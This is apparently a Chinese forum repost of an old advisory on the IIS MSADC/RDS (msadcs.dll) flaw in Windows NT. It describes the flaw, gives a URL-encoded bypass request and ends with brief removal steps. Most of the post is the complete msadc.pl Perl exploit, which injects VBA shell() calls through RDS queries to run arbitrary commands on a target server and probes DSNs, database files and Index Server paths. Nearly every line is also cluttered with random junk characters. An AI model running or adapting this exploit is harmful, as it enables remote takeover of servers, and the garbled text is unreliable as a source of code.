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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) V8=Y@T,  
EL3|u64GO  
涉及程序: M.h`&8  
Microsoft NT server *%Qn{x  
,2oF:H  
描述: UR(-q  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 a:~@CUD >I  
dk8wIa"K`  
详细: 3cj3u4y  
如果你没有时间读详细内容的话,就删除: <"o"z2  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ~_9"3,~o5  
有关的安全问题就没有了。 P)dL?vkK  
H1!iP$1#V  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Qy#)Gxp  
8\<jyJ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ]E3U J!!  
关于利用ODBC远程漏洞的描述,请参看: KC e13!  
\3Oij^l 0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm G0n'KB  
VcK}2<8:+~  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 DN4#H`  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp fIoIW&iy  
r!}al5~&  
这里不再论述。 IB.yU,v  
\EoX8b}$b0  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ^EVc95|Z  
O!D/|.Q#%  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset CeT~p6=  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! S)He$B$pp  
4VN aq<8  
! BU)K'mj  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 3*DXE9gA9  
;%J5=f%z)  
#!perl Kr  L>FI  
# h%d^Gq~  
# MSADC/RDS 'usage' (aka exploit) script  Gt9wR  
# HOt>}x  
# by rain.forest.puppy fbZibcQ%k  
# mN0=i(H<  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 3L-^<'~-k;  
# beta test and find errors! {u7##Vrgt8  
>5~7u\#9  
use Socket; use Getopt::Std; G,&%VQ3P>  
getopts("e:vd:h:XR", \%args); "$p#&W69"J  
:lcea6iO  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; (.K\Jg'Y6j  
" oy\_1|  
if (!defined $args{h} && !defined $args{R}) { ~WVO  
print qq~ HN5W@5m: .  
Usage: msadc.pl -h <host> { -d <delay> -X -v } z?8~[h{i%  
-h <host> = host you want to scan (ip or domain) h -_&MD/J  
-d <seconds> = delay between calls, default 1 second ?4PQQd  
-X = dump Index Server path table, if available Y5A~E#zw  
-v = verbose Iyk6=&?j  
-e = external dictionary file for step 5 HgJb4Fi  
#;9H@:N  
Or a -R will resume a command session g=]&A  
WbjF]b\  
~; exit;} ty1fcdFZM  
8 ?TKN~ja  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "#^MUQ!a  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _rQUE ^9  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )&NAs  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); $,1dQeE  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} K6\` __mLf  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } /dHs &SU,  
ayp b  
if (!defined $args{R}){ $ret = &has_msadc; \,W.0#D8v4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <3 @}Lj  
ryD%i"g<  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "mj^+u-  
. "cmd /c "; ;'kI/(;;C  
$in=<STDIN>; chomp $in; Rmh*TQu  
$command="cmd /c " . $in ; 6o}V@UzqV  
?_4^le[;  
if (defined $args{R}) {&load; exit;} f>iuHR*EXB  
c;!g  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `bgb*Yaod  
&try_btcustmr; 2YQ#-M  
-Q[g/%  
print "\nStep 2: Trying to make our own DSN..."; g,lY ut  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; XSD%t8<LO  
swr"k6;G  
print "\nStep 3: Trying known DSNs..."; l)}t,!M6  
&known_dsn; H:}}t]E  
tW6#e(^l6  
print "\nStep 4: Trying known .mdbs..."; ~ l )t|'6  
&known_mdb; a|x8=H  
XI}I.M  
if (defined $args{e}){ 2;(W-]V?  
print "\nStep 5: Trying dictionary of DSN names..."; Lo3-X  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } OhWC}s  
O k(47nC  
print "Sorry Charley...maybe next time?\n"; 3ut_Bt\  
exit; PZ]5Hf1"  
H`|0-`q  
############################################################################## fGO*% )  
fEiJ~&{&  
sub sendraw { # ripped and modded from whisker U1\MA6pXW  
sleep($delay); # it's a DoS on the server! At least on mine... _"f<Ol[!  
my ($pstr)=@_; |HgfV@Han  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Y?!/>q  
die("Socket problems\n"); wixD\t59X  
if(connect(S,pack "SnA4x8",2,80,$target)){ 75Fp[Q-  
select(S); $|=1; 5ZsDgOeY  
print $pstr; my @in=<S>; ~I)uWo  
select(STDOUT); close(S); 02M7gBS  
return @in; twbcuaCTW  
} else { die("Can't connect...\n"); }} TNsg pJ?\  
%Rn:G K  
############################################################################## +FBi5h  
7 6*hc   
sub make_header { # make the HTTP request h#R&=t1,^  
my $msadc=<<EOT WB;J1TpM7  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 _W+Q3Jx-(  
User-Agent: ACTIVEDATA $~hdm$  
Host: $ip <j"O%y.  
Content-Length: $clen /$*; >4=>f  
Connection: Keep-Alive /'`6 ; uRN  
0# UAjT3  
ADCClientVersion:01.06 Zjt9vS)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 3GINv3_  
;_bq9x  
--!ADM!ROX!YOUR!WORLD! z (#Xca  
Content-Type: application/x-varg Sgx+V"bkT  
Content-Length: $reqlen Fj3^ #ly  
5F03y`@ u  
EOT 3Pa3f >}-  
; $msadc=~s/\n/\r\n/g; v['AB4  
return $msadc;} p}r yKW\cJ  
nO:HB.&@  
############################################################################## QS%,7'EG  
* T\>  
sub make_req { # make the RDS request =_pmy>_z  
my ($switch, $p1, $p2)=@_; K9}jR@jy$  
my $req=""; my $t1, $t2, $query, $dsn; -MUQ \pZ  
(A|B@a!Y>  
if ($switch==1){ # this is the btcustmr.mdb query 7j95"mI  
$query="Select * from Customers where City=" . make_shell(); y,1S& k  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . IwnYJp:9v  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} v(k*A:  
n<+~ zQ  
elsif ($switch==2){ # this is general make table query (O Qi%/Oy  
$query="create table AZZ (B int, C varchar(10))"; (T4k~T`3  
$dsn="$p1";} [I_BCf  
?Ip$;s  
elsif ($switch==3){ # this is general exploit table query J;7s/YH^  
$query="select * from AZZ where C=" . make_shell(); ]~ >@%v&  
$dsn="$p1";} vN' VDvVM  
fg< ( bXC  
elsif ($switch==4){ # attempt to hork file info from index server #<D@3ScC  
$query="select path from scope()"; *di&%&f  
$dsn="Provider=MSIDXS;";} J~fuW?a]r  
&boj$ k!g[  
elsif ($switch==5){ # bad query 0>8ZN!@K  
$query="select"; YcEtgpz@  
$dsn="$p1";} <)=3XEcb  
,q/tyGj  
$t1= make_unicode($query); 77*v-8c  
$t2= make_unicode($dsn); ]gjr+GV  
$req = "\x02\x00\x03\x00"; 6MrZ6dz^  
$req.= "\x08\x00" . pack ("S1", length($t1)); Qs~d_;  
$req.= "\x00\x00" . $t1 ; N,h1$)\B#  
$req.= "\x08\x00" . pack ("S1", length($t2)); :Xh_$4~^Y  
$req.= "\x00\x00" . $t2 ; ]L[JS^#7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; qZ `nZi  
return $req;} d%S=$}o  
C+ZQB)gn  
############################################################################## $:T<IU[E  
m*Q[lr=  
sub make_shell { # this makes the shell() statement cH+h=E=  
return "'|shell(\"$command\")|'";} -ryDsq  
5B8V$ X  
############################################################################## 8Pl+yiB/o`  
`%KpTh  
sub make_unicode { # quick little function to convert to unicode \9[NH/.Z{  
my ($in)=@_; my $out; -G(3Y2  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ey'pm\Z  
return $out;} V=G b>_d  
^D% }V-"  
############################################################################## OL,/-;z6  
{QIS411  
sub rdo_success { # checks for RDO return success (this is kludge) YlZYS'_  
my (@in) = @_; my $base=content_start(@in); H9oXZSm  
if($in[$base]=~/multipart\/mixed/){ i}v}K'`  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} .E?bH V  
return 0;} ;:#?~%7>  
.( TQ5/ ~  
############################################################################## *qeic e%E  
<M5{.`o  
sub make_dsn { # this makes a DSN for us Fi,e}j=2f  
my @drives=("c","d","e","f"); Wto@u4  
print "\nMaking DSN: "; &KOG[tv  
foreach $drive (@drives) { i?1js! 8  
print "$drive: "; j?d;xj  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . gQ[]  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" t1.zWe+C>3  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); c<JM1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; w /Bn2bD  
return 0 if $2 eq "404"; # not found/doesn't exist -z>Z0viA  
if($2 eq "200") { xdFP$Y~ogy  
foreach $line (@results) { i5L+8kx4  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} PsF- 9&_  
} return 0;} Z=e[ !c  
N+C%Z[gt[  
############################################################################## pQ[o3p!&9  
*<|~=*Ddf  
sub verify_exists { P!)7\.7  
my ($page)=@_; zezofW]a  
my @results=sendraw("GET $page HTTP/1.0\n\n"); " kE:T.,  
return $results[0];} lzr>WbM{{p  
xy-$v   
############################################################################## "2vNkO##  
+[ZMrTW!0C  
sub try_btcustmr { yPzULO4  
my @drives=("c","d","e","f"); }e/[$!35  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Sug~FV?k$e  
K&\BwBU  
foreach $dir (@dirs) { ;S{Ld1;  
print "$dir -> "; # fun status so you can see progress n}ZBU5_  
foreach $drive (@drives) { Hd=D#u=A4{  
print "$drive: "; # ditto VAF:Z  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; "S{6LWkD  
$reqlenlen=length( "$reqlen" ); O_ s9  
$clen= 206 + $reqlenlen + $reqlen; L8?Z!0D/h  
4? /ot;>2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); y ? {PoNI  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 5wE !_ng>|  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} a?U%l9F  
om*tdG  
############################################################################## L[QI 5N  
S7#^u`'Q_^  
sub odbc_error { 9rf|r 3  
my (@in)=@_; my $base; l;][Q]Z@V  
my $base = content_start(@in); &]"_pc/>m  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this i}$N&  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ./BP+\)l O  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $U"P+  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *"wD& E?  
return $in[$base+4].$in[$base+5].$in[$base+6];} [ ;3EzZL  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _uy5?auQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . OL mBh3&  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5f^`4 pT  
8HH.P`Vk#  
############################################################################## 9B6_eFb  
^B"_b?b  
sub verbose { BB73' W8y  
my ($in)=@_; -~Z@,  
return if !$verbose; B"E(Y M  
print STDOUT "\n$in\n";} dC;d>j,  
,n,7.m.D  
############################################################################## l`5}i|4KTW  
loqS?bC ]  
sub save { DRB YH(  
my ($p1, $p2, $p3, $p4)=@_; BS<>gA R;/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; r<f-v_bxF  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ['N#aDh.?  
close OUT;} XGrxzO|{  
{*=5qV}  
############################################################################## N(({2'Rr  
lj}1'K@M  
sub load { )mo|.L0  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; t;a}p_>  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); k^%TJ.y@  
@p=<IN>; close(IN); '?!<I  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $, @ rKRY  
$target= inet_aton($ip) || die("inet_aton problems"); J`D<  
print "Resuming to $ip ..."; &B5 Rzz-'  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; QX~72X=(  
if($p[1]==1) { NNpa69U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; []fj~hj  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Y<$"]@w  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ABYW1K=  
if (rdo_success(@results)){print "Success!\n";} 8#JyK+NU  
else { print "failed\n"; verbose(odbc_error(@results));}} ~[X:twidkL  
elsif ($p[1]==3){ Mud\Q["  
if(run_query("$p[3]")){ '`A67bdq)  
print "Success!\n";} else { print "failed\n"; }} 1~ZHC[ `  
elsif ($p[1]==4){ h^,YYoA$  
if(run_query($drvst . "$p[3]")){ %KVRiX  
print "Success!\n"; } else { print "failed\n"; }} Q]koj!mMl  
exit;} 6nk|*HPz  
#(}_2x5  
############################################################################## )d a8 Ru  
Hn2Q1lF-ip  
sub create_table { oTa+E'q  
my ($in)=@_; HQ#L |LN  
$reqlen=length( make_req(2,$in,"") ) - 28; Vblf6qaBs  
$reqlenlen=length( "$reqlen" ); |`9zE]  
$clen= 206 + $reqlenlen + $reqlen; {}gk4 xr  
my @results=sendraw(make_header() . make_req(2,$in,"")); JG+o~tQC  
return 1 if rdo_success(@results); !{=%l+^.  
my $temp= odbc_error(@results); verbose($temp); t $ ~:C  
return 1 if $temp=~/Table 'AZZ' already exists/; -Y,Ibq  
return 0;} '$nGtB5  
3mn-dKe((  
############################################################################## @ShJ:  
;@\J scNJ|  
sub known_dsn { ;7{wa]  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go o~N-x*   
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ^rb7`s#G  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 6E%k{ r  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); T{2//$T?  
t-{OP?cE1  
foreach $dSn (@dsns) {  ^*>no=A  
print "."; QLLV OJi  
next if (!is_access("DSN=$dSn")); f*f9:xUY  
if(create_table("DSN=$dSn")){ 9_^V1+   
print "$dSn successful\n"; ^Q:`2C5  
if(run_query("DSN=$dSn")){ ApB'O;5  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,tc]E45  
print "Something's borked. Use verbose next time\n";}}} print "\n";} e/l?|+m 6  
}{PtQc6RL!  
############################################################################## o[*ih\d  
Hd}t=6  
sub is_access { ,$*klod  
my ($in)=@_; @y%qQe/g  
$reqlen=length( make_req(5,$in,"") ) - 28; _e^V\O>  
$reqlenlen=length( "$reqlen" ); c'4 \F9  
$clen= 206 + $reqlenlen + $reqlen; Z.19v>-c  
my @results=sendraw(make_header() . make_req(5,$in,"")); D'=`O6pK  
my $temp= odbc_error(@results); ?|F;x"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); g9`ytWmM  
return 0;} jF0BWPL  
X*;p;N  
############################################################################## DGUU1 vA  
$ :P~21,  
sub run_query { }6(:OB?  
my ($in)=@_; D{}\7qe  
$reqlen=length( make_req(3,$in,"") ) - 28; cE#Y,-f  
$reqlenlen=length( "$reqlen" ); Lf<9GYNy>`  
$clen= 206 + $reqlenlen + $reqlen; b?^<';,5  
my @results=sendraw(make_header() . make_req(3,$in,"")); U%olH >1K  
return 1 if rdo_success(@results); N{@ eV][Q  
my $temp= odbc_error(@results); verbose($temp); Np)!23 "  
return 0;} >l[N]CQ  
YRXe j  
############################################################################## 'f!Jh<i  
mcracj[ B  
sub known_mdb { !pXz-hxKT  
my @drives=("c","d","e","f","g"); 6C5qW8q]u3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 3s Nq3I  
my $dir, $drive, $mdb; YDL)F<Y  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; n(MEG'9}  
l\GNd6)H  
# this is sparse, because I don't know of many 7u(i4O& k  
my @sysmdbs=( "\\catroot\\icatalog.mdb", U h}yHD`K  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %;gWl1&5  
"\\system32\\certmdb.mdb", YEj U3^@  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% >skS`/6  
V19*~v=u  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", u?i1n=Ne  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Sy55w={  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", )}8%Gs4C  
"\\cfusion\\cfapps\\security\\realm_.mdb", L i^V?  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", >a K&T"  
"\\cfusion\\database\\cfexamples.mdb", <k1gc,*  
"\\cfusion\\database\\cfsnippets.mdb", w5Z3e^g  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", D%btlw ?{  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", K} @:>;* 9  
"\\cfusion\\brighttiger\\database\\cleam.mdb", x@)u:0  
"\\cfusion\\database\\smpolicy.mdb", X35hLp8 M  
"\\cfusion\\database\cypress.mdb", v]>(Ps )R  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", )*B.y|b #  
"\\website\\cgi-win\\dbsample.mdb", N3)EG6vE*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", C09@2M'  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" J)_ 42Z  
); #these are just ,\b5M`<c  
foreach $drive (@drives) { P[~a'u  
foreach $dir (@dirs){ *np|PyLP:  
foreach $mdb (@sysmdbs) { <T>f@Dn,  
print "."; 5Ml}m  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){  LvaF4Y2v  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ijfT!W  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ XR(kR{yo  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; h";sQ'us  
} else { print "Something's borked. Use verbose next time\n"; }}}}} lDzVc`c  
|{(ynZ]R  
foreach $drive (@drives) { !xSGZ D=AD  
foreach $mdb (@mdbs) { <Z Ls+|1  
print "."; T^ -RP  
if(create_table($drv . $drive . $dir . $mdb)){ \} 5\^&}_  
print "\n" . $drive . $dir . $mdb . " successful\n"; "A7tb39*  
if(run_query($drv . $drive . $dir . $mdb)){ tQ"PCm  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; uzOZxW[e  
} else { print "Something's borked. Use verbose next time\n"; }}}} (Y%}N(Jg  
} [&$z[/4:8c  
!#QD;,SE+  
############################################################################## /@K?W=w4  
@U,cj>K  
sub hork_idx { gyIPG2d  
print "\nAttempting to dump Index Server tables...\n"; '` n\YO.N  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; h4U .wk  
$reqlen=length( make_req(4,"","") ) - 28; zPn8>J<.0Q  
$reqlenlen=length( "$reqlen" ); };|'8'5  
$clen= 206 + $reqlenlen + $reqlen; \|kU{d0  
my @results=sendraw2(make_header() . make_req(4,"","")); %H54^Z<y  
if (rdo_success(@results)){ JP#m} W  
my $max=@results; my $c; my %d; Z"A:^jZ<s  
for($c=19; $c<$max; $c++){ vjWS35i  
$results[$c]=~s/\x00//g; I>:'5V  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 2HUoT\M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )s M}BY  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; nG2RBeJV  
$d{"$1$2"}="";} u VB&D E  
foreach $c (keys %d){ print "$c\n"; } 9.<$&mVk7`  
} else {print "Index server doesn't seem to be installed.\n"; }} 0=~Ji_5mB  
'O CVUF,  
############################################################################## ~&g:7f|X  
&iTsuA/7  
sub dsn_dict { Upf1*$p  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]RV6( |U4_  
while(<IN>){ p[cC%3  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Da.vyp  
next if (!is_access("DSN=$dSn")); [qc90)^Q,  
if(create_table("DSN=$dSn")){ -)w/nq  
print "$dSn successful\n"; s:M:Ff  
if(run_query("DSN=$dSn")){ ]F,5Oh :OY  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { oo`mVRVf  
print "Something's borked. Use verbose next time\n";}}} \;4RD$J  
print "\n"; close(IN);} Bdf3@sbM]  
? ;\YiOTda  
############################################################################## Uj_%U2S$  
Dp>/lkk.  
sub sendraw2 { # ripped and modded from whisker VEJ Tw  
sleep($delay); # it's a DoS on the server! At least on mine... (xMAo;s_  
my ($pstr)=@_; S-My6'ar  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || a93Aj  
die("Socket problems\n"); ="MG>4j3.F  
if(connect(S,pack "SnA4x8",2,80,$target)){ I6\ l 6o  
print "Connected. Getting data"; &6h,'U  
open(OUT,">raw.out"); my @in; |ML|P\1&V  
select(S); $|=1; print $pstr; .#CTL|x  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} I/t2c=f  
close(OUT); select(STDOUT); close(S); return @in; 0&zp9(G5  
} else { die("Can't connect...\n"); }} OF!(BJ L  
%<P&"[F]v@  
############################################################################## x]w%?BlS  
$5(co)C  
sub content_start { # this will take in the server headers (;\JCeGA  
my (@in)=@_; my $c; TtlZum\  
for ($c=1;$c<500;$c++) { 90 (JP-  
if($in[$c] =~/^\x0d\x0a/){ p%8y!^g  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } whr[rWt@>  
else { return $c+1; }}} kk& ([ xqU  
return -1;} # it should never get here actually EQ\/I( =l  
*$Bx#0J8  
############################################################################## y@e/G3  
kect)=T(  
sub funky { B/AS|i] sM  
my (@in)=@_; my $error=odbc_error(@in); 5V]!xi  
if($error=~/ADO could not find the specified provider/){ #,lJ>mTe4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \'x. DVp  
exit;} i1}Y;mj  
if($error=~/A Handler is required/){ Gg8F>y<[R  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7 wH9w  
exit;} qYF150  
if($error=~/specified Handler has denied Access/){ Onz@A"  
print "\nServer has custom handler filters (they most likely are patched)\n"; 90X<Qs  
exit;}} _ 5n Lrn,~  
"MOM@4\  
############################################################################## )lwxF P;  
}}G`yfs}r  
sub has_msadc { plN:QS$  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); #-W a3P  
my $base=content_start(@results); Lk#8G>U  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); QbrR=[8b  
return 0;} 5L!EqB>m;  
&P'd&B1   
######################## V q4g#PcG  
Y#7sDd!N|  
'ioX,KD  
解决方案: [&eG>zF"  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Pg4go10|  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 yVfF *nG  
grVPu! B;  
拿出来充数 哈哈
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